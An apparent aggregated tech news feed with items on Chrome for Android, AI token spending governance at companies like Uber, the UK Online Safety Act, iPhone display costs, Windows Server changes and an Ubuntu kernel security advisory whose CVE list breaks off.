Google verbessert seinen Chrome-Browser für Android in zwei wichtigen Punkten. Zum einen werden die Anfragen für Benachrichtigungen weniger nervig gestaltet und außerdem gibt es eine…
Dieser Artikel Chrome auf Android: Browser hängt weniger und „Benachrichtigungen erhalten“ nervt weniger erschien zuerst auf SmartDroid.de.


Getting a grip on shadow tokens and AI blowouts
Fri, 24 Jul 2026 14:04:46 +0200

		
					  
						




Four months of Claude Code — that’s all it took for Uber to burn through its entire annual budget for AI. Token after token, engineers embraced the platform with few control mechanisms tying costs to outcomes. The result was a budget runaway and a clear case study in how limited oversight snowballs into an AI blowout.



This is a phenomenon I like to call “shadow tokens” — AI credits paid for by the company but largely invisible to decision-makers. Too many engineers have the final say over how much they consume and, therefore, what it costs. This all-you-can-eat attitude is part of the reason why Microsoft is reportedly winding down many internal licenses across key engineering teams and why one in five organizations is missing its AI spend forecast by more than 50%.



And the trend is only accelerating. By 2028, Gartner predicts that AI coding costs (driven by this kind of ungoverned consumption) will be as much per developer as the salary companies pay that person.



LLMs and agents introduce a new class of variable cost that scales with behavior rather than headcount, putting enterprises on the hook for tools that balloon with workload. I don’t see this as enterprises overspending because they’re reckless — it’s down to a lack of managerial oversight, budget alignment that demands a proven return on investment, and engineer education on how much is too much.



Going forward, CIOs need to thread the AI needle between governance that encourages transparency and reasonable spend without stifling innovation.



When shadow tokens result in real costs



The issue is that AI isn’t a traditional line item. Previously, enterprise leaders onboarded software-as-a-service (SaaS) with a good idea of the total cost. An allocated software seat or annual contract was a known quantity. The cloud added some variation (with fluctuations depending on hosting size), but instances were still modelable. AI flips this status quo on its head — the unit of consumption is behavior and the cost is exponential.



And these specifics aren’t immediately apparent at pilot. Tools can appear inexpensive in controlled experiments yet unpredictably scale depending on session length, context window size, model selection and whether agents run in parallel. This is the fallacy of the $20-per-seat enterprise plan — tokens are charged separately at API rates with no ceiling. The final dollar value of any session is set by factors that finance can’t always model in advance, particularly when these decisions usually rest with the engineers themselves.



According to Deloitte, only 21% of organizations deploying agents have a mature governance model, a real concern because they’re token-eating machines. This is what was happening at Uber — Claude Code in agentic mode was autonomously reading codebases, planning changes across dozens of files and opening pull requests. Each step quickly adds up, with Anthropic’s own documentation noting that agents consume approximately seven times as many tokens as standard sessions.



This is shadow IT and shadow AI, evolved. This time, however, many leaders approved the tool in question without guardrails governing consumption. AI hype adds fuel to the fire and normalizes long sessions. Uber’s CTO, for example, described a company-wide shift toward “agentic software engineering” with employees “who are quietly experimenting, quietly shipping and quietly pushing things forward”. This is an exciting way to test the limits of what’s possible, certainly, but it’s also a position that goes a long way to explaining how the company spent its annual AI budget by April.



Shifting the culture from usage to yield



Engineers haven’t done anything wrong here. In fact, they’re adopting and experimenting as instructed, with Uber creating leaderboards and ranking users by token consumption. More use led to a better ranking, reflecting a culture that lauds new ways of doing things. This behavior is known as “tokenmaxxing,” and its principal knock-on effect is shadow tokens — quantity-over-quality processes that leaders struggle to control until they’re fully realized in the budget. Of course, if management treats adoption metrics as performance metrics, then engineers can’t be blamed for using more tokens. The tension is that the teams driving adoption aren’t the ones managing spend.



None of this is meant to dismiss AI’s productivity possibilities and potential return on investment. Developers save 3.6 hours per week, achieve 60% higher pull request throughput and cut onboarding time in half with automation. Meanwhile, Uber shared that roughly 11% of live backend updates were written by agents with no human in the loop. However, these wins aren’t the problem — it’s that too many teams aren’t connecting input to output. I’ve spoken to admins who discovered their token spend had tripled in a single quarter after using heavier models or accidentally doubling up on agentic applications. Nobody knew until the financial damage was done.



Automation needs to happen sustainably with an eye on the bottom line. In my view, a much better metric for achieving this is AI yield — the measurable business or engineering output generated per dollar spent on tokens. Otherwise, without a feedback loop, even genuinely productive teams are flying blind.



Stopping token waste before an AI blowout



Creating that throughline between AI investment and token consumption starts with established financial metrics. This is possible via maximum spend limits (dictated by spend tagging, workload tiering and cost-per-output benchmarks) per team or project. Then, any additional allocation requires approval, closing the loop between the engineers spending the tokens and the leaders paying for them. AI isn’t cheap and teams should demonstrate a bang for their buck.



This is something we do with our engineering team at Hexnode. Resource allocation for Claude Code and Cursor is tied directly to ROI rather than letting consumption run open-ended. Given the pay-as-you-go nature of these tools, a firm usage limit per team offers simple but essential control.



Similarly, there’s room to apply some of the governance principles IT uses for device management. Things like policy enforcement, role-based access, real-time monitoring and automated alerts can flag usage behavior in advance. Uncovering such insights at the token layer works to identify power users and prevent excessive spending.



We also need to encourage cultures that praise outputs that actually achieve efficiency. AI applications that result in shipping faster, reducing rework and cutting review cycles are gains that should be celebrated. If your company hosts leaderboards, frame unnecessary token burn as wasteful rather than valuable. The organizations creating healthier consumption habits work with their engineers to understand not just how to use AI, but what responsible use looks like and what it costs.



This is a conversation teams need to have now. Anthropic just ended flat-rate pricing for programmatic workloads from June 15. Now, agents, continuous integration pipelines and automated workflows draw from a dedicated monthly credit pool billed separately from the subscription. Once that pool is exhausted, agent tasks either stop entirely or overflow to extra billing. Work can either get very expensive or grind to a halt for teams that aren’t prepared.



Getting a grip on shadow tokens means better rules and tools connecting spend to outcomes. Only by building the financial and cultural infrastructure that encourages sustainable adoption can leaders see what they’re spending, connect it to what they’re getting and course-correct before the costs become a crisis. Ultimately, shadow tokens are only invisible if we choose not to look.



This article is published as part of the Foundry Expert Contributor Network.
Want to join?



Examining the Unintended Consequences of the Online Safety Act
Fri, 24 Jul 2026 13:57:45 +0200
The 25th July 2026 marks one year since the Online Safety Act’s landmark child safety duties came into force, making it a natural moment to assess what’s changed, what’s worked and what challenges remain. Although the Act itself received Royal Assent in October 2023, its requirements were introduced in phases, with 25th July 2025 being […]
The post Examining the Unintended Consequences of the Online Safety Act appeared first on IT Security Guru.


Apple wants cheaper iPhone displays to offset spiraling memory costs
Fri, 24 Jul 2026 13:43:47 +0200
As the price of components like RAM and storage continues to skyrocket, Apple has reportedly asked display makers to reduce their prices in an attempt to keep iPhone production costs under control.


Apple hopes to save money on new iPhone displays

According to The Elec's report, Apple has suggested paying suppliers LG Display and Samsung Display around $70 per iPhone 18 Pro Max display. The report suggests that is angling to pay even less, with both companies aiming for per-panel price points of around $66.50.

Apple could pay as much as 20% less than it paid for 2025's iPhone 17 Pro Max displays if LG Display and Samsung Display succeed in meeting that sub-$67 goal.


 Continue Reading on AppleInsider | Discuss on our Forums


Windows 11: Microsoft ersetzt 1990er-Komponenten durch WinUI 3 - BornCity
Fri, 24 Jul 2026 13:31:59 +0200
Das System nutzt die TPM-Attestierung, um die Echtheit von KMS-Hosts (Key Management Service) zu prüfen. Ab August 2026 zeigt Windows Server 2025 ...


Windows-Sicherheit: Microsoft führt TPM-Zwang für Unternehmenslizenzen ein
Fri, 24 Jul 2026 13:31:55 +0200
Bereits ab August 2026 erhalten Administratoren mit Windows Server 2025 über spezielle Befehlszeilen-Tools einen Bereitschaftsstatus für diese ...


Ausprobiert: Workstation mit viermal Intel Arc Pro B70 mit 384 GByte Speicher | heise online
Fri, 24 Jul 2026 13:31:52 +0200
heise Plus DNS per HTTPS für Windows Server 2025. Angriffe ... Mit DNS over HTTPS beseitigt Microsoft diese Angriffsfläche jetzt in Window Server 2025.


Why I changed how I pitch AI: It’s no longer about saving money, but managing tokens and adoption
Fri, 24 Jul 2026 13:04:13 +0200

		
					  
						




I have worked alongside enterprise technology for more than 30 years and watched AI evolve from a lab experiment into the modern boardroom’s core focus. However, the last few years of implementing AI alongside our customers have delivered our most profound reality checks.



The initial hype has faded, leaving CIOs to drive real enterprise value. Based on my experience implementing Google, OpenAI and Anthropic technologies, here are the fundamental, technology-agnostic lessons every leader must anchor their strategy around.



AI as a leadership multiplier



The most common tactical error we see is treating AI as an isolated technology project. What I have observed among our customers is that true success does not come from organizations that define a standalone “AI strategy,” but rather from those leaders that integrate AI into their business strategy.



When our customers isolate AI and define an AI strategy, it inevitably treats it like a “technological toy” to experiment with. This approach yields fragmented, orphaned initiatives that fail to scale because they are fundamentally disconnected from their core corporate objectives. What I learned is that AI is not the ultimate destination; it is a powerful catalyst. We have replaced “What can AI do for our customers?” with a more strategic question, “How does AI accelerate their existing business goals?”



Think of AI like electricity. No modern corporation designs a standalone “electricity strategy.” Instead, all companies route it invisibly across the entire organization to illuminate offices, power production lines and drive communication. AI must be woven into the enterprise fabric in the exact same way, acting as an underlying utility that supercharges your existing operational model.



Integrating AI into the broader business strategy also dictates how we measure success. It forces a shift away from short-term tech vanity metrics and anchors the technology into a long-term roadmap.



When AI remains trapped within the IT department of our customers, we notice that it is relegated to a mere “software experiment.” To become a true competitive advantage, we observed that AI requires intense cross-functional orchestration. This perspective does not diminish the merit of the technical team; their expertise is fundamental for establishing the architecture, data governance and tools your enterprise requires. However, while IT builds the foundational infrastructure, it lacks the organizational authority to decide what should be built on top of it. Only the CEO or the owner of the company can step in to ensure AI leaves the “toy project” phase and integrates into the DNA of the organization.



The requirement for top-down, executive ownership stems from three critical realities observed in the field:




Silo-smashing and data collaboration: True enterprise AI is data-hungry and that data lives across disparate business lines, finance, operations, marketing and customer service. Only the CEO possesses the cross-functional authority to demand that data silos be dismantled.



Cultural transformation and fear mitigation: AI triggers widespread anxiety over job displacement across all industries and hierarchies. When relegated to an “IT project,” resistance spikes as teams view it as a threat to their livelihoods. When I saw the CEO lead this cultural shift directly is when I noticed the best results.



C-Suite education and strategic alignment: The mandate for AI capability cannot just be delegated downward; the transformation must begin at the very top. I have conducted more than 70 presentations for the Board of Directors and C-Level teams. These people need to be actively educated not on technical code, but on specific business use cases, return on investment (ROI) frameworks and how AI resolves core organizational bottlenecks.




PwC’s data found that only 12% of enterprises have achieved both cost and revenue benefits from AI. Those elite 12% succeeded precisely because their CEOs embedded AI extensively across strategic decision-making and cross-functional workflows. AI is simply too disruptive and too critical to be left exclusively in the hands of technical experts. If AI is not on the CEO’s weekly agenda, it is fundamentally missing from the company’s true strategy.



AI as a new operational framework



Traditional IT systems have operated on strict algorithmic certainty: if you input a specific set of data, the system executes an immutable line of code and guarantees the same, predictable output every single time.



AI completely breaks this paradigm. Because modern AI is built on probabilistic models, it does not execute static formulas; instead, it predicts the most likely correct response based on mathematical probabilities. This means that AI solutions carry an inherent, small percentage of uncertainty and variability. A prompt entered today might yield a slightly different, though contextually valid, output tomorrow.



Executive leadership and organizational cultures must be actively educated to accept and navigate this fundamental shift. Traditional quality assurance frameworks for software are designed for a 100% success rate. Applying this rigid standard to AI will paralyze your initiatives, keeping 80% of your projects trapped eternally in the pilot phase. This happened to us in a food and beverage company in Latin America a couple of years ago. After this experience, we started to include conditions in our contracts that tolerate statistical margins of error and still define the project as a success.



In terms of cost calculation, we had to teach CIOs and business managers to forget the monthly subscription model for AI and learn to manage the primary unit of exchange in modern AI: the token.



To understand AI costs, executives must understand how large language models process data. AI models do not read full words; instead, they break text, images or code down into “pieces” called tokens. As a baseline, every 100 words process as approximately 130 to 140 tokens. Because the major AI providers use the token as their currency, your business is billed dynamically based on the exact volume of tokens consumed by every query submitted (input) and every response generated (output).



Many leaders believe AI costs are fixed due to flat-rate enterprise tiers ($25–$30/user). This is a temporary illusion. These venture-capital-subsidized rates mask true operational costs and come with dynamic usage limits. Modeling long-term ROI on them guarantees a severe budget shock when true consumption pricing takes over.



The solution is not to halt AI adoption; doing so means losing your competitive edge. Instead, the cost per token must cease to be treated as a technical footnote relegated to the IT department. It must be elevated to a core business variable.



Risks in the AI adoption model



Since the beginning of the AI boom, I have seen all our customers making a critical tactical error that could cost them heavily in the medium term: they are focusing only on operational efficiency (reducing costs with AI).



I have observed that an alarmingly high percentage of companies remain trapped in pilot phases focused exclusively on short-term cost reduction. Bain & Company’s global Automation and AI Pathfinder Survey found that the largest share of companies measuring their AI initiatives (exactly 40%) realized cost reductions of 10% or less, heavily missing their internal targets. Our customers are putting too many resources and effort into marginal financial gains and in doing so, they are jeopardizing their most valuable assets: service quality, resilience and customer trust.



Utilizing AI solely to slash headcount or cut operational corners is a dangerous trap that introduces severe field liabilities. A financial service organization in Latin America announced that they saved $1 million in customer support by replacing humans with AI chatbots. However, the mid-term reality revealed a different story: a damaged brand reputation due to AI errors and an influx of frustrated clients fleeing because the automated system cannot handle special cases.



Putting a company on an extreme AI diet might make it look leaner on next quarter’s financial statement, but over-indexing on cost-cutting will ultimately leave the business too weak to compete when market dynamics shift. We are now inviting our customers to change the question from “How much money will AI save us?” to “How will we leverage AI to exponentially increase the long-term value of our enterprise?”



Deploying enterprise AI is a marathon, not a sprint, and the terrain changes with every mile. The organizations that thrive in this next era will be those that transition from fascination to discipline, treating AI not as a magic bullet for immediate savings, but as a core capability that demands rigorous governance, architectural foresight and cultural maturity. Navigating this shift requires moving past the theoretical hype and anchoring decisions in raw, field-tested reality.



As we continue to deploy these technologies across industries, the blueprint for success is being rewritten in real time. Let’s keep this conversation going as we map out the future of business intelligence together.



This article is published as part of the Foundry Expert Contributor Network.
Want to join?



USN-8603-1: Linux kernel (Azure) vulnerabilities
Fri, 24 Jul 2026 13:02:31 +0200
It was discovered that some AMD processors did not properly clear data in
the floating point divider unit during speculative execution. A local
attacker could use this to expose sensitive information. (CVE-2025-54505)

It was discovered that some AMD Zen 2 processors did not properly isolate
shared resources in the operation cache. A local attacker could possibly
use this issue to corrupt instructions executed at a higher privilege
level, resulting in privilege escalation. (CVE-2025-54518)

Several security issues were discovered in the Linux kernel.
An attacker could possibly use these to compromise the system.
This update corrects flaws in the following subsystems:
  - x86 platform drivers;
  - PSP security protocol;
  - ARM32 architecture;
  - ARM64 architecture;
  - MIPS architecture;
  - PowerPC architecture;
  - RISC-V architecture;
  - S390 architecture;
  - User-Mode Linux (UML);
  - x86 architecture;
  - Block layer subsystem;
  - Cryptographic API;
  - Intel NPU Driver;
  - Compute Acceleration Framework;
  - ACPI drivers;
  - Auxiliary display drivers;
  - Drivers core;
  - DRBD Distributed Replicated Block Device drivers;
  - Rados block device (RBD) driver;
  - Ublk userspace block driver;
  - Compressed RAM block device driver;
  - Bluetooth drivers;
  - Bus devices;
  - Character device driver;
  - TPM device driver;
  - Clock framework and drivers;
  - CPU frequency scaling framework;
  - Hardware crypto device drivers;
  - Buffer Sharing and Synchronization framework;
  - DPLL subsystem;
  - EDAC drivers;
  - Arm Firmware Framework for ARMv8-A(FFA);
  - EFI core;
  - FWCTL subsystem;
  - GPIO subsystem;
  - GPU drivers;
  - Greybus drivers;
  - HID subsystem;
  - Microsoft Hyper-V drivers;
  - Hardware monitoring drivers;
  - I2C subsystem;
  - I3C subsystem;
  - IIO ADC drivers;
  - IIO subsystem;
  - InfiniBand drivers;
  - Input Device core drivers;
  - IOMMU subsystem;
  - LED subsystem;
  - Mailbox framework;
  - Multiple devices driver;
  - Media drivers;
  - NVIDIA Tegra memory controller driver;
  - IBM Advanced System Management driver;
  - MTD block device drivers;
  - Network drivers;
  - Ethernet bonding driver;
  - Mellanox network drivers;
  - Microsoft Azure Network Adapter (MANA) driver;
  - STMicroelectronics network drivers;
  - Texas Instruments network drivers;
  - MediaTek network drivers;
  - NTB driver;
  - NVME drivers;
  - Device tree and open firmware driver;
  - Parport drivers;
  - PCI subsystem;
  - Pin controllers subsystem;
  - Chrome hardware platform drivers;
  - ACPI WMI driver;
  - Generic PM domains;
  - MediaTek PM domains;
  - Power supply drivers;
  - Remote Processor subsystem;
  - MPAM driver;
  - Amlogic Meson reset controller drivers;
  - S/390 drivers;
  - SCSI subsystem;
  - NVIDIA Tegra Control Backbone (CBB) driver;
  - SPI subsystem;
  - Greybus lights staging drivers;
  - Media staging drivers;
  - Realtek RTL8723BS SDIO drivers;
  - SM750 framebuffer staging driver;
  - TCM subsystem;
  - Thermal drivers;
  - Thunderbolt and USB4 drivers;
  - TTY drivers;
  - Userspace I/O drivers;
  - USB Device Class drivers;
  - ULPI bus;
  - DesignWare USB2 driver;
  - USB Gadget drivers;
  - USB Dual Role (OTG-ready) Controller drivers;
  - USB Serial drivers;
  - USB Type-C support driver;
  - USB Type-C Port Controller Manager driver;
  - TI TPS6598x USB Power Delivery controller driver;
  - USB Type-C Connector System Software Interface driver;
  - USB over IP driver;
  - vDPA drivers;
  - VFIO drivers;
  - Framebuffer layer;
  - TSM AMD SEV Guest driver;
  - Xen hypervisor drivers;
  - 9P distributed file system;
  - File systems infrastructure;
  - AFS file system;
  - BTRFS file system;
  - Ceph distributed file system;
  - EROFS file system;
  - Ext4 file system;
  - F2FS file system;
  - FUSE (File system in Userspace);
  - GFS2 file system;
  - HFS+ file system;
  - HugeTLB file system;
  - Journaling layer for block devices (JBD2);
  - Network file systems library;
  - Network file system (NFS) server daemon;
  - NILFS2 file system;
  - File system notification infrastructure;
  - NTFS3 file system;
  - OCFS2 file system;
  - Overlay file system;
  - Diskquota system;
  - SMB network file system;
  - Tracing file system;
  - UDF file system;
  - XFS file system;
  - DRM TTM subsystem;
  - Codetag library;
  - Control group (cgroup);
  - Kernel CPU control infrastructure;
  - Memory management;
  - Tracing infrastructure;
  - QorIQ DPAA2 FSL-MC bus driver;
  - Freescale ENETC Ethernet drivers;
  - Memory Management;
  - KVM subsystem;
  - Linked list library;
  - Netfilter;
  - padata parallel execution mechanism;
  - PPP protocol drivers and compressors;
  - Bluetooth subsystem;
  - Networking core;
  - Network shaper API;
  - Network traffic control;
  - TCP network protocol;
  - XFRM subsystem;
  - User-space API (UAPI);
  - io_uring subsystem;
  - IPC subsystem;
  - Audit subsystem;
  - BPF subsystem;
  - DMA mapping infrastructure;
  - Kernel exit() syscall;
  - Kernel fork() syscall;
  - Kernel futex primitives;
  - IRQ subsystem;
  - Kexec HandOver (KHO);
  - Locking primitives;
  - Padata parallel execution mechanism;
  - Scheduler infrastructure;
  - Timer subsystem;
  - Cryptographic library;
  - Scatterlist API;
  - Heterogeneous memory management;
  - KProbes tracing;
  - KASAN memory debugging framework;
  - 802.1Q VLAN protocol;
  - B.A.T.M.A.N. meshing protocol;
  - Ethernet bridge;
  - CAIF protocol;
  - CAN network layer;
  - Ceph Core library;
  - Distributed Switch Architecture;
  - Ethtool driver;
  - Handshake API;
  - HSR network protocol;
  - IPv4 networking;
  - IPv6 networking;
  - IUCV driver;
  - L2TP protocol;
  - MAC80211 subsystem;
  - Multipath TCP;
  - NFC subsystem;
  - Open vSwitch;
  - Packet sockets;
  - Phonet protocol;
  - Qualcomm IPC Router (QRTR);
  - RDS protocol;
  - RxRPC session sockets;
  - SCTP protocol;
  - SMC sockets;
  - Stream parser;
  - TIPC protocol;
  - TLS protocol;
  - Unix domain sockets;
  - VMware vSockets driver;
  - Wireless networking;
  - Integrity Measurement Architecture(IMA) framework;
  - Key management;
  - Landlock security;
  - Linux Security Modules (LSM) Framework;
  - SELinux security module;
  - ALSA framework;
  - Generic PCM loopback sound driver;
  - FireWire sound drivers;
  - HD-audio driver;
  - AudioScience HPI driver;
  - Creative Sound Blaster X-Fi driver;
  - FourSemi audio codecs;
  - Texas InstrumentS Audio (ASoC/HDA) drivers;
  - QCOM ASoC drivers;
  - Renesas ASoC drivers;
  - SOF drivers;
  - STI ASoC drivers;
  - USB sound devices;
  - Objtool;
(CVE-2026-31532, CVE-2026-31574, CVE-2026-31575, CVE-2026-31576,
CVE-2026-31577, CVE-2026-31578, CVE-2026-31579, CVE-2026-31580,
CVE-2026-31581, CVE-2026-31582, CVE-2026-31583, CVE-2026-31584,
CVE-2026-31585, CVE-2026-31586, CVE-2026-31587, CVE-2026-31588,
CVE-2026-31589, CVE-2026-31590, CVE-2026-31591, CVE-2026-31592,
CVE-2026-31593, CVE-2026-31594, CVE-2026-31595, CVE-2026-31596,
CVE-2026-31597, CVE-2026-31598, CVE-2026-31599, CVE-2026-31600,
CVE-2026-31601, CVE-2026-31602, CVE-2026-31603, CVE-2026-31604,
CVE-2026-31605, CVE-2026-31606, CVE-2026-31607, CVE-2026-31608,
CVE-2026-31609, CVE-2026-31610, CVE-2026-31611, CVE-2026-31612,
CVE-2026-31613, CVE-2026-31614, CVE-2026-31615, CVE-2026-31616,
CVE-2026-31617, CVE-2026-31618, CVE-2026-31619, CVE-2026-31620,
CVE-2026-31621, CVE-2026-31622, CVE-2026-31623, CVE-2026-31624,
CVE-2026-31625, CVE-2026-31626, CVE-2026-31627, CVE-2026-31628,
CVE-2026-31629, CVE-2026-31686, CVE-2026-31694, CVE-2026-31696,
CVE-2026-31697, CVE-2026-31698, CVE-2026-31699, CVE-2026-31700,
CVE-2026-31701, CVE-2026-31702, CVE-2026-31703, CVE-2026-31704,
CVE-2026-31705, CVE-2026-31706, CVE-2026-31707, CVE-2026-31708,
CVE-2026-31709, CVE-2026-31710, CVE-2026-31711, CVE-2026-31712,
CVE-2026-31713, CVE-2026-31714, CVE-2026-31715, CVE-2026-31716,
CVE-2026-31717, CVE-2026-31718, CVE-2026-31719, CVE-2026-43058,
CVE-2026-43071, CVE-2026-43072, CVE-2026-43073, CVE-2026-43348,
CVE-2026-43349, CVE-2026-43350, CVE-2026-43490, CVE-2026-43491,
CVE-2026-43492, CVE-2026-43493, CVE-2026-43495, CVE-2026-43496,
CVE-2026-43497, CVE-2026-43498, CVE-2026-43499, CVE-2026-43501,
CVE-2026-43502, CVE-2026-45834, CVE-2026-45835, CVE-2026-45836,
CVE-2026-45837, CVE-2026-45838, CVE-2026-45839, CVE-2026-45840,
CVE-2026-45841, CVE-2026-45842, CVE-2026-45843, CVE-2026-45844,
CVE-2026-45845, CVE-2026-45846, CVE-2026-45986, CVE-2026-45987,
CVE-2026-45988, CVE-2026-45989, CVE-2026-45990, CVE-2026-45991,
CVE-2026-45994, CVE-2026-45995, CVE-2026-45996, CVE-2026-45997,
CVE-2026-45999, CVE-2026-46001, CVE-2026-46002, CVE-2026-46003,
CVE-2026-46004, CVE-2026-46005, CVE-2026-46006, CVE-2026-46007,
CVE-2026-46008, CVE-2026-46009, CVE-2026-46010, CVE-2026-46011,
CVE-2026-46012, CVE-2026-46013, CVE-2026-46014, CVE-2026-46015,
CVE-2026-46016, CVE-2026-46018, CVE-2026-46019, CVE-2026-46020,
CVE-2026-46021, CVE-2026-46022, CVE-2026-46023, CVE-2026-46024,
CVE-2026-46025, CVE-2026-46026, CVE-2026-46027, CVE-2026-46028,
CVE-2026-46029, CVE-2026-46030, CVE-2026-46031, CVE-2026-46032,
CVE-2026-46033, CVE-2026-46034, CVE-2026-46035, CVE-2026-46036,
CVE-2026-46037, CVE-2026-46038, CVE-2026-46039, CVE-2026-46040,
CVE-2026-46041, CVE-2026-46042, CVE-2026-46043, CVE-2026-46044,
CVE-2026-46045, CVE-2026-46046, CVE-2026-46047, CVE-2026-46049,
CVE-2026-46050, CVE-2026-46051, CVE-2026-46052, CVE-2026-46053,
CVE-2026-46054, CVE-2026-46056, CVE-2026-46057, CVE-2026-46058,
CVE-2026-46059, CVE-2026-46060, CVE-2026-46061, CVE-2026-46062,
CVE-2026-46063, CVE-2026-46064, CVE-2026-46065, CVE-2026-46066,
CVE-2026-46067, CVE-2026-46068, CVE-2026-46069, CVE-2026-46070,
CVE-2026-46071, CVE-2026-46072, CVE-2026-46073, CVE-2026-46074,
CVE-2026-46075, CVE-2026-46076, CVE-2026-46077, CVE-2026-46078,
CVE-2026-46079, CVE-2026-46080, CVE-2026-46081, CVE-2026-46082,
CVE-2026-46083, CVE-2026-46084, CVE-2026-46085, CVE-2026-46086,
CVE-2026-46087, CVE-2026-46088, CVE-2026-46089, CVE-2026-46090,
CVE-2026-46091, CVE-2026-46092, CVE-2026-46093, CVE-2026-46094,
CVE-2026-46095, CVE-2026-46096, CVE-2026-46097, CVE-2026-46098,
CVE-2026-46099, CVE-2026-46100, CVE-2026-46101, CVE-2026-46102,
CVE-2026-46103, CVE-2026-46104, CVE-2026-46105, CVE-2026-46106,
CVE-2026-46107, CVE-2026-46108, CVE-2026-46109, CVE-2026-46110,
CVE-2026-46111, CVE-2026-46112, CVE-2026-46113, CVE-2026-46114,
CVE-2026-46115, CVE-2026-46116, CVE-2026-46117, CVE-2026-46118,
CVE-2026-46119, CVE-2026-46120, CVE-2026-46121, CVE-2026-46122,
CVE-2026-46123, CVE-2026-46124, CVE-2026-46125, CVE-2026-46126,
CVE-2026-46127, CVE-2026-46128, CVE-2026-46129, CVE-2026-46130,
CVE-2026-46131, CVE-2026-46132, CVE-2026-46133, CVE-2026-46134,
CVE-2026-46135, CVE-2026-46136, CVE-2026-46137, CVE-2026-46138,
CVE-2026-46139, CVE-2026-46140, CVE-2026-46141, CVE-2026-46142,
CVE-2026-46143, CVE-2026-46144, CVE-2026-46145, CVE-2026-46146,
CVE-2026-46147, CVE-2026-46148, CVE-2026-46149, CVE-2026-46150,
CVE-2026-46151, CVE-2026-46152, CVE-2026-46153, CVE-2026-46154,
CVE-2026-46155, CVE-2026-46156, CVE-2026-46157, CVE-2026-46158,
CVE-2026-46159, CVE-2026-46160, CVE-2026-46161, CVE-2026-46162,
CVE-2026-46163, CVE-2026-46164, CVE-2026-46165, CVE-2026-46166,
CVE-2026-46167, CVE-2026-46168, CVE-2026-46169, CVE-2026-46170,
CVE-2026-46171, CVE-2026-46172, CVE-2026-46173, CVE-2026-46174,
CVE-2026-46175, CVE-2026-46176, CVE-2026-46177, CVE-2026-46178,
CVE-2026-46179, CVE-2026-46180, CVE-2026-46181, CVE-2026-46182,
CVE-2026-46183, CVE-2026-46184, CVE-2026-46185, CVE-2026-46186,
CVE-2026-46187, CVE-2026-46188, CVE-2026-46189, CVE-2026-46190,
CVE-2026-46191, CVE-2026-46192, CVE-2026-46193, CVE-2026-46194,
CVE-2026-46195, CVE-2026-46196, CVE-2026-46197, CVE-2026-46198,
CVE-2026-46199, CVE-2026-46200, CVE-2026-46201, CVE-2026-46202,
CVE-2026-46203, CVE-2026-46204, CVE-2026-46205, CVE-2026-46206,
CVE-2026-46207, CVE-2026-46208, CVE-2026-46209, CVE-2026-46210,
CVE-2026-46211, CVE-2026-46212, CVE-2026-46213, CVE-2026-46214,
CVE-2026-46215, CVE-2026-46216, CVE-2026-46218, CVE-2026-46219,
CVE-2026-46220, CVE-2026-46221, CVE-2026-46222, CVE-2026-46223,
CVE-2026-46224, CVE-2026-46225, CVE-2026-46226, CVE-2026-46227,
CVE-2026-46228, CVE-2026-46229, CVE-2026-46230, CVE-2026-46231,
CVE-2026-46232, CVE-2026-46233, CVE-2026-46234, CVE-2026-46235,
CVE-2026-46236, CVE-2026-46238, CVE-2026-46239, CVE-2026-46240,
CVE-2026-46241, CVE-2026-46242, CVE-2026-46243, CVE-2026-46244,
CVE-2026-46273, CVE-2026-46274, CVE-2026-46275, CVE-2026-46276,
CVE-2026-46277, CVE-2026-46278, CVE-2026-46279, CVE-2026-46280,
CVE-2026-46281, CVE-2026-46282, CVE-2026-46283, CVE-2026-46284,
CVE-2026-46285, CVE-2026-46286, CVE-2026-46287, CVE-2026-46288,
CVE-2026-46289, CVE-2026-46290, CVE-2026-46291, CVE-2026-46292,
CVE-2026-46293, CVE-2026-46294, CVE-2026-46295, CVE-2026-46296,
CVE-2026-46297, CVE-2026-46298, CVE-2026-46299, CVE-2026-46301,
CVE-2026-46302, CVE-2026-46303, CVE-2026-46304, CVE-2026-46305,
CVE-2026-46306, CVE-2026-46307, CVE-2026-46308, CVE-2026-46309,
CVE-2026-46310, CVE-2026-46311, CVE-2026-46312, CVE-2026-46313,
CVE-2026-46314, CVE-2026-46315, CVE-2026-46316, CVE-2026-46317,
CVE-2026-46318, CVE-2026-46319, CVE-2026-46320, CVE-2026-46321,
CVE-2026-46322, CVE-2026-46324, CVE-2026-46332, CVE-2026-52904,
CVE-2026-52905, CVE-2026-52906, CVE-2026-52907, CVE-2026-52911,
CVE-2026-52912, CVE-2026-52913, CVE-2026-52914, CVE-2026-52915,
CVE-2026-52916, CVE-2026-52918, CVE-2026-52919, CVE-2026-52920,
CVE-2026-52921, CVE-2026-52922, CVE-2026-52923, CVE-2026-52925,
CVE-2026-52926, CVE-2026-52927, CVE-2026-52928, CVE-2026-52931,
CVE-2026-52932, CVE-2026-52933, CVE-2026-52934, CVE-2026-52936,
CVE-2026-52937, CVE-2026-52941, CVE-2026-52943, CVE-2026-52944,
CVE-2026-52949, CVE-2026-52950, CVE-2026-52951, CVE-2026-52952,
CVE-2026-52953, CVE-2026-52954, CVE-2026-52955, CVE-2026-52956,
CVE-2026-52957, CVE-2026-52958, CVE-2026-52959, CVE-2026-52960,
CVE-2026-52961, CVE-2026-52962, CVE-2026-52963, CVE-2026-52964,
CVE-2026-52965, CVE-2026-52967, CVE-2026-52968, CVE-2026-52969,
CVE-2026-52970, CVE-2026-52971, CVE-2026-52973, CVE-2026-52974,
CVE-2026-52975, CVE-2026-52976, CVE-2026-52977, CVE-2026-52978,
CVE-2026-52979, CVE-2026-52980, CVE-2026-52981, CVE-2026-52982,
CVE-2026-52983, CVE-2026-52984, CVE-2026-52985, CVE-2026-52986,
CVE-2026-52987, CVE-2026-52988, CVE-2026-52989, CVE-2026-52990,
CVE-2026-52991, CVE-2026-52992, CVE-2026-52993, CVE-2026-52994,
CVE-2026-52995, CVE-2026-52996, CVE-2026-52997, CVE-2026-52998,
CVE-2026-52999, CVE-2026-53000, CVE-2026-53001, CVE-2026-53002,
CVE-2026-53003, CVE-2026-53004, CVE-2026-53005, CVE-2026-53006,
CVE-2026-53007, CVE-2026-53008, CVE-2026-53009, CVE-2026-53010,
CVE-2026-53011, CVE-2026-53012, CVE-2026-53013, CVE-2026-53014,
CVE-2026-53015, CVE-2026-53016, CVE-2026-53017, CVE-2026-53018,
CVE-2026-53019, CVE-2026-53020, CVE-2026-53021, CVE-2026-53022,
CVE-2026-53023, CVE-2026-53024, CVE-2026-53025, CVE-2026-53026,
CVE-2026-53027, CVE-2026-53028, CVE-2026-53029, CVE-2026-53030,
CVE-2026-53031, CVE-2026-53032, CVE-2026-53033, CVE-2026-53034,
